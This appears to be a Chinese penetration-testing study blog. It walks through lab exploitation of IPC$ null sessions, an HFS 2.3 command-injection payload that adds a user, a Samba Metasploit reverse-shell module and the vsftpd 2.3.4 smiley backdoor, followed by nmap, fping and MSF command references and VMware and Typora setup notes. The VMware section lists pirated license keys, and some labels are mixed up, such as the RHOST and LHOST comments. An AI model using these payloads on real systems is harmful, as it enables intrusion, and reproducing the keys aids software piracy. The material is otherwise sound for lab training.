ipc$漏洞利用

IPC简介

1
2
3
4
5
6
7
8
9
iPC$(Internet Process Connection)是共享"命名管道"的资源,它是为了让进程间通信而开放的命名管道,
通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,
从而实现对远程计算机的访问。
在Windows操作系统中的共享有3类:普通共享、默认共享、IPC$共享,
1、普通共享:就是通常意义上的共享,即用户设置的共享目录、共享文件夹、共享分区等;
2、默认共享:Windows操作系统的隐含驱动器共享,通常有:
(1)驱动器共享:如C$、D$,开启后可直接访问分区中资源;
(2)系统管理共享admin$:通常指向C:\Windows。
3、IPC$共享:这实际不是共享,而是提供一种访问管道;IPC全称“Internet Process Connection”,顾名思义,是为了进程间通信而开放的命名管道。

漏洞说明

1
2
空连接漏洞必须139.445端口打开,如果不打开,那是不成的
一般情况下139端口都是打开的,呵呵。可以通过流光,X-scan nmap 等扫描工具来扫一下,如果存在漏洞直接空连接即可

漏洞实验环境

1
2
win7一台
攻击机一台

漏洞实验开始

1
2
3
命令:(192.168.0.12这个地址是捏造的)
net use \\192.168.0.12\ipc$ "" /user:administrator
如果成功连接会提示的

img

1
2
net use z: \\192.168.0.12\c$
把对方的c盘映射到本地的z盘,在我的电脑里面就可以看到对方的c盘了.

img

img

1
2
3
删除与对方的ipc连接:
net use \\192.168.0.12\ipc$ /del
或者直接断开

HFS漏洞

漏洞简介

1
HTTP File Server是一款专为个人用户所设计的HTTP文件服务器,它提供虚拟档案系统,支持新增、移除虚拟档案资料夹等。

漏洞概述

1
Rejetto HTTP File Server 2.3c及之前版本中的parserLib.pas文件中的‘findMacroMarker’函数中存在安全漏洞,该漏洞源于parserLib.pas文件没有正确处理空字节。远程攻击者可借助搜索操作中的‘%00’序列利用该漏洞执行任意程序。

漏洞实验环境

1
2
Win7一台 
HFS 2.3B 版本 (下载地址:https://wwa.lanzoul.com/i5U2w017osja)

漏洞手工利用

1
2
3
4
5
攻击payload及过程:
Payload:http://127.0.0.1:8080/?search==%00{.exec|cmd.exe /c [Command-String].}
攻击过程实例:
http://127.0.0.1:8080/?search==%00{.exec|cmd.exe /c net user test1234 1234 /add.}
说明这个OK的前提是HFS以管理员权限运行:

img

漏洞软件利用和下载地址

img

1
下载地址:https://wwa.lanzoul.com/ij3bD017olrg

Samba漏洞利用

Samba简介

1
Samba是在Linux和UNIX系统上实现SMB协议的一个免费软件,有服务端和客户端程序构成。随着Linux的普及,如何共享Linux下的文件成为用户关心的问题。其实,几乎所有的Linux发行套件都提供了一个很好的工具Samba——通过它可以轻松实现文件共享。

samba主要功能

1
2
通用lnternet文件系统(CIFS)也称为服务器信息块(SMB),是适用于MicrosoftWindows服务器和客户端的标准文件和打印机共享系统。
Samba服务可用于将Linux文件系统作为CIFS/SMB网络文件共享进行共享,并将Linux打印机作为CIFS/SMB打印机共享进行共享。

漏洞说明

1
从扫描结果中发现主机运行着Samba 3.x服务。这个版本的服务纯在复线的漏洞

实验开始

1
2
首先打开msf
search samba 命令搜索Samba的漏洞利用模块,并选择合适的漏洞利用模块,如图所示。

img

1
因为我们测试的是liunx 系统的所以选择最新的时间的成功率高

img

1
2
使用如下图所示的命令即可查看该漏洞利用模块下可供选择的攻击载荷模块,因为目标是Linux机器,因此一定要选择Linux的攻击载荷。
这里使用如下图所示的命令选择基础的cmd/unix/reverse反向攻击载荷模块。

img

img

1
2
3
4
5
6
7
设置攻击机ip
set RHOST 192.168.191.128
设置靶机ip
set LHOST 192.168.191.129
设置 漏洞利用端口号(默认139)
set Rport 445
设置完可以使用show options命令再次确认参数是否已设置正确。

img

1
run 或 exploit 攻击

img

FTP笑脸漏洞

漏洞简介

1
2
这个后门的载荷以 :)字符的形式拼接在用户名上。后门代码绑定的侦听端口是 6200 。
首先我们查看一下Metasploitable2的IP还有我们的Kali的IP

实验开始

1
2
3
(1)攻击机自己看Ifconfig
(2)用攻击机扫描一下靶机的ip(在不知道ip的情况下)
(3)这里我们知道我们的靶机有个账号和密码是:msfadmin

img

img

好了,既然我们知道靶机的IP就扫描他的21端口的版本号

1
nmap -sV -p 21 ip

img

现在我们知道他的版本号是2.3.4了 接着我们扫描全部端口

1
nmap -sV -p-  ip

img

1
2
3
4
5
6
7
注意!他现在是没有6200端口的
这时就需要我们去开启他了开启6200端口
打开我们的CMD窗口
输入ftp ip
输入用户名root:)
密码随便输
看见没用户名是个歪着的笑脸

1
接着我们回到Kali重新扫描他的所有端口

img

1
2
3
然后你就发现多了个6200的端口
连接
当开启6200端口后我们就可以使用nc命令连接了

img

什么是nc

1
nc是netcat的简写,有着网络界的瑞士军刀美誉。因为它短小精悍、功能实用,被设计为一个简单、可靠的网络工具

nc作用

1
2
3
4
(1)实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口
(2)端口的扫描,nc可以作为client发起TCP或UDP连接
(3)机器之间传输文件
(4)机器之间网络测速

nc用法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
 (1) -l
用于指定nc将处于侦听模式。指定该参数,则意味着nc被当作server,侦听并接受连接,而非向其它地址发起连接。
(2) -p <port>
暂未用到(老版本的nc可能需要在端口号前加-p参数,下面测试环境是centos6.6,nc版本是nc-1.84,未用到-p参数)
(3) -s
指定发送数据的源IP地址,适用于多网卡机
(4) -u
指定nc使用UDP协议,默认为TCP
(5) -v
输出交互或出错信息,新手调试时尤为有用
(6)-w
超时秒数,后面跟数字
(7)-z
表示zero,表示扫描时不发送任何数据
1
然后我们使用命令看看能不能使用

img

1
最后记住他只能连接一次,退出去就进不了了(重启靶机方可解决)

img

arping的一些基本命令

arping简介

1
2
3
arping命令是用于发送arp请求到相邻主机的工具,arping使用arp数据包
arping有两个版本,一个版本是Thomas Habets这个人写的,这个版本有个好处是可以arping <MAC地址>,也就是说我们可以通过MAC地址得到IP。还有一个版本是Linux iputils suite的,这个版本就不能通过MAC地址,解析出IP地址了。

arping主要功能

1
2
3
可以使用arping -V来查看自己系统的arping的版本据观察Redhat\CentOS使用的是Linux iputils suite版本的,debian使用的是Thomas Habets。
注意两个版本的的arping使用的参数有很大的区别,所以要根据自己的arping版本去使用相应的参数。
不看版本在网上抄的命令可能在自己的系统上无法执行。下面介绍Linux iputils suite版本的arping命令用法。

arping工具下载地址

1
2
(1)http://www.habets.pp.se/synscan/files/arping-2.17.tar.gz
(2)kali系统里面自带

nmap命令使用方法

1
2
3
4
5
6
7
 -b:用于发送以太网广播帧(FFFFFFFFFFFF)。arping一开始使用广播地址,在收到响应后就使用unicast地址。
-q:quiet output不显示任何信息;
-f:表示在收到第一个响应报文后就退出;
-w timeout:设定一个超时时间,单位是秒。如果到了指定时间,arping还没到完全收到响应则退出;
-c count:表示发送指定数量的ARP请求数据包后就停止。如果指定了deadline选项,则arping会等待相同数量的arp响应包,直到超时为止;
-s source:设定arping发送的arp数据包中的SPA字段的值。如果为空,则按下面处理,如果是DAD模式(冲突地址探测),则设置为0.0.0.0,如果是Unsolicited ARP模式(Gratutious ARP)则设置为目标地址,否则从路由表得出;
-I interface:设置ping使用的网络接口。

fping的一些基本命令

fping简介

1
fping是和ping一样的检测网络主机是否存在。

fping主要功能

1
fping可以同时ping很多台机器,另外一方面是结果易读,他可以很友好展示出ping10台或者100台主机的结果,对于我们要执行很多ping操作的人来说,fping比ping更加好用。

fping工具下载地址

1
2
(1)fping命令的官网为:http://fping.org/ 
(2)kali系统里面自带

fping命令使用方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
普通扫描
fping Ip
扫描网段或指定范围
fping -g IP/24
fping -g IP1 IP2
回显存活主机
fping -a IP
回显不存活主机
fping -u IP
扫描外部文件
fping -f ip.txt
循环ping
fping -l IP
统计扫描结果
fping -s IP

cmd的一些基础命令

Ping

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
-t       Ping 指定的主机,直到停止。

-a 将地址解析为主机名。

-n count 要发送的回显请求数。

-l size 发送缓冲区大小。

-f 在数据包中设置“不分段”标记(仅适用于 IPv4)。

-i TTL 生存时间。

-v TOS 服务类型(仅适用于 IPv4。该设置已被弃用,对 IP 标头中的服务类型字段没有任何影响)。

-r count 记录计数跃点的路由(仅适用于 IPv4)。

-s count 计数跃点的时间戳(仅适用于 IPv4)。

-j host-list 与主机列表一起使用的松散源路由(仅适用于 IPv4)。

-k host-list 与主机列表一起使用的严格源路由(仅适用于 IPv4)。

-w timeout 等待每次回复的超时时间(毫秒)。

-R 同样使用路由标头测试反向路由(仅适用于 IPv6)。

-S srcaddr 要使用的源地址。

-c compartment 路由隔离舱标识符。

-p Ping Hyper-V 网络虚拟化提供程序地址。

-4 强制使用 IPv4。

-6 强制使用 IPv6。

Netstat

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
显示协议统计信息和当前 TCP/IP 网络连接。
-a 显示所有连接和侦听端口。
-b 显示在创建每个连接或侦听端口时涉及的
可执行文件。在某些情况下,已知可执行文件托管
多个独立的组件,此时会
显示创建连接或侦听端口时
涉及的组件序列。在此情况下,可执行文件的
名称位于底部 [] 中,它调用的组件位于顶部,
直至达到 TCP/IP。注意,此选项
可能很耗时,并且可能因为你没有足够的
权限而失败。
-e 显示以太网统计信息。此选项可以与 -s 选项
结合使用。
-f 显示外部地址的完全限定
域名(FQDN)。
-n 以数字形式显示地址和端口号。
-o 显示拥有的与每个连接关联的进程 ID。
-p proto 显示 proto 指定的协议的连接;proto
可以是下列任何一个: TCP、UDP、TCPv6 或 UDPv6。如果与 -s选项一起用来显示每个协议的统计信息,proto 可以是下列任何一个:
IP、IPv6、ICMP、ICMPv6、TCP、TCPv6、UDP 或 UDPv6。
-q 显示所有连接、侦听端口和绑定的
非侦听 TCP 端口。绑定的非侦听端口
不一定与活动连接相关联。
-r 显示路由表。
-s 显示每个协议的统计信息。默认情况下,
显示 IP、IPv6、ICMP、ICMPv6、TCP、TCPv6、UDP 和 UDPv6 的统计信息;
-p 选项可用于指定默认的子网。
-t 显示当前连接卸载状态。
-x 显示 NetworkDirect 连接、侦听器和共享
终结点。
-y 显示所有连接的 TCP 连接模板。
无法与其他选项结合使用。

ipconfig

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Ipconfig     选项:
/? 显示此帮助消息
/all 显示完整配置信息。
/release 释放指定适配器的 IPv4 地址。
/release6 释放指定适配器的 IPv6 地址。
/renew 更新指定适配器的 IPv4 地址。
/renew6 更新指定适配器的 IPv6 地址。
/flushdns 清除 DNS 解析程序缓存。
/registerdns 刷新所有 DHCP 租用并重新注册 DNS 名称
/displaydns 显示 DNS 解析程序缓存的内容。
/showclassid 显示适配器允许的所有 DHCP 类 ID。
/setclassid 修改 DHCP 类 ID。
/showclassid6 显示适配器允许的所有 IPv6 DHCP 类 ID。
/setclassid6 修改 IPv6 DHCP 类 ID。
(注:linux下是ifconfig)

cmd一些用得到的命令

1
2
3
4
5
6
7
8
9
10
dir 浏览当前的文件
dir带盘符或者路径 查看指定的位置浏览文件
dir /a 浏览所有文件 包括隐藏的
Cd 切换
Cd 直接退到根目录
cd.. 退到上级目录
cd 文件名进入 或者 路径 可进入指定的文件
(tab补全)
(注:win10 可能需要多 /d 如 cd /d E:\\ )
Type 查看文件内容

MSF的一些基本命令

nmap简介

1
Metasploit是一款开源的安全漏洞检测工具。

nmap主要功能

1
它可以帮助用户识别安全问题,验证漏洞的缓解措施,并对某些软件进行安全性评估,提供真正的安全风险情报。当用户第一次接触Metasploit渗透测试框架软件(MSF)时,可能会被它提供如此多的接口、选项、变量和模块所震撼,而感觉无所适从。Metasploit软件为它的基础功能提供了多个用户接口,包括终端、命令行和图形化界面等。本节将介绍Metasploit下各种接口的使用方法。

MSF工具下载地址

1
2
3
(1)下载路径:https://mac.softpedia.com/get/Security/Metasploit-Framework.shtml
(2)按照操作系统类型下载相应软件安装。
(3)kali系统里面自带

MSF命令使用方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
db_status           查看数msf据库连接状态,连接数据库能够优化搜索等
db_rebuild_cache 重建缓存,将模块等索引重新存入数据库
db_nmap 调用nmap扫描,并将扫描结果存入数据库
help [db_connect] 显示命令的帮助信息
search [module] 搜索含有关键字的模块
use [module] 选择使用一个模块(以ms17_010永恒之蓝为例)
show payload 显示该模块支持的payload
show options 显示该模块需要设置的参数(其中required为no的表示不是必须的参数)
info 如果觉得show命令显示的不够完整可以直接输入info查看详细详细
set [opt] 使用模块后,设置模块所需要的参数的值(对应使用unset取消设置的值)
setg [opt] 设置全局参数,对于ip之类的参数可以设置为全局,当切换模块后就不需要再次设置ip参数(对应使用unsetg取消设置)
back 返回上级状态
exploit/run 两个命令都表示运行攻击模块
sessions 查看当前连接的会话

nmap的一些基本命令

nmap简介

1
nmap(Network Mapper)是一款开源免费的针对大型网络的端口扫描工具,nmap可以检测目标主机是否在线、主机端口开放情况、检测主机运行的服务类型及版本信息、检测操作系统与设备类型等信息。

nmap主要功能

1
2
3
4
5
(1)检测主机是否在线。例如,列出响应TCP和/或ICMP请求或打开特定端口的主机。
(2)扫描指定主机/主机列表端口开放状态,枚举目标主机上的开放端口,常用。
(3)检测主机运行服务类型及版本,检测远程设备上的网络服务以确定应用程序名称和版本号。
(4)检测操作系统版本和设备类型 ,确定网络设备的操作系统和硬件特性。
(5)可与脚本进行脚本交互,使用Nmap脚本引擎(NSE)和Lua编程语言。

nmap工具下载地址

1
2
3
(1)nmap官方下载路径:https://nmap.org/download.html
(2)按照操作系统类型下载相应软件安装。
(3)kali系统里面自带

nmap命令使用方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
 扫描全部端口
nmap -p- IP
扫描存活主机(ping)
nmap -sP IP/24
不ping式扫描主机
nmap -Pn IP/24
nmap -P0 IP/24
半开放扫描
nmap -sS IP/24
扫描端口服务版本
nmap -sV IP/24
扫描外部文件
nmap -iL ip.txt
综合性扫描
nmap -A IP/24
扫描操作系统指纹信息
nmap -O IP/24
RPC扫描
nmap -sR IP/24
ACK和ICMP并型扫描
nmap -PB IP/24
导出全部格式的扫描结果
nmap -oA 文件名 IP
导出XML格式的扫描结果
nmpa -oX x.xml IP
导出标准格式的扫描结果
nmap -oN 文件名 IP
扫描等级
nmap -T4 IP //有T1~T5

VMware 以及 TYpora 安装

VMware虚拟机简介

1
2
在Windows桌面上构建的虚拟机跨一系列不同的设备、平台和云环境构建、测试和演示软件。IT 专业人员、开发人员和企业每天都依赖 Workstation Pro 为他们的项目和客户提供支持。借助 Workstation Pro,可以轻松运行复杂的本地虚拟环境,从而在同一桌面 PC 上模拟操作系统、平台和云环境。
要了解更多VMware请到官网:https://www.vmware.com/cn/

VMware虚拟机安装就教程

1
软件下载地址:链接: https://pan.baidu.com/s/1j7cr0SEtT13sr_0S2YlZcw?pwd=qcfr 提取码: qcfr 

开始安装:

1
1.下载好解压出来,如图双击打开。(注:图3)可以自己选择安装路径。

img

1
2.傻瓜式的安装一直下一步。

img

img

img

img

1
2
3
4
5
3.选择许可证输入KEY
KEY:
  ZF3R0-FHED2-M80TY-8QYGC-NPKYF
  YF390-0HF8P-M81RQ-2DXQE-M2UT6
  ZF71R-DMX85-08DQY-8YMNC-PPHV8

img

img

Markdown简介

1
2
Markdown是一种[轻量级标记语言],创始人为约翰·格鲁伯(英语:John Gruber)。 它允许人们使用易读易写的[纯文本格式]编写文档,然后转换成有效的[XHTML](或者HTML)文档。这种语言吸收了很多在电子邮件中已有的纯文本标记的特性。
由于Markdown的轻量化、易读易写特性,并且对于图片,图表、数学式都有支持,许多网站都广泛使用Markdown来撰写帮助文档或是用于论坛上发表消息。 如[GitHub]()、[Reddit]()、[Diaspora]()、[Stack Exchange]、[OpenStreetMap]、[SourceForge]、[简书]等,甚至还能被使用来撰写[电子书]。

Markdown语法

1
2
3
4
1.标题
在想要设置为标题的文字前面加#来表示
一个#是一级标题,二个#是二级标题,以此类推。支持六级标题。
注:标准语法一般在#后跟个空格再写文字,貌似简书不加空格也行。

示例:

1
2
3
4
5
6
# 这是一级标题
## 这是二级标题
### 这是三级标题
#### 这是四级标题
##### 这是五级标题
###### 这是六级标题

效果:

这是一级标题

这是二级标题

这是三级标题

这是四级标题

这是五级标题
这是六级标题
1
2
3
4
5
6
7
8
9
2.字体
加粗
要加粗的文字左右分别用两个*号包起来
斜体
要倾斜的文字左右分别用一个*号包起来
斜体加粗
要倾斜和加粗的文字左右分别用三个*号包起来
删除线
要加删除线的文字左右分别用两个~~号包起来

示例:

1
2
3
4
**这是加粗的文字**
*这是倾斜的文字*`
***这是斜体加粗的文字***
~~这是加删除线的文字~~

效果:

这是加粗的文字
这是倾斜的文字`
这是斜体加粗的文字
这是加删除线的文字

1
先写这么多吧!!! 过后单独出一期基本用法合集 下面介绍下Typora编辑器可以快速的达到Markdown语法的编写

Typora 简介

1
2
Typora将给你作为一个读者和作家的无缝体验。它删除了预览窗口、模式切换程序、标记源代码的语法符号以及所有其他不必要的干扰。将它们替换为真正的实时预览功能,以帮助您专注于内容本身。 (写Markdown好用的一批)
要了解更多Typora请到官网:https://www.typora.net/

Typora 安装

开始安装:

1
1.双击打开按图操作就行(一样傻瓜式安装)

img

img

img

img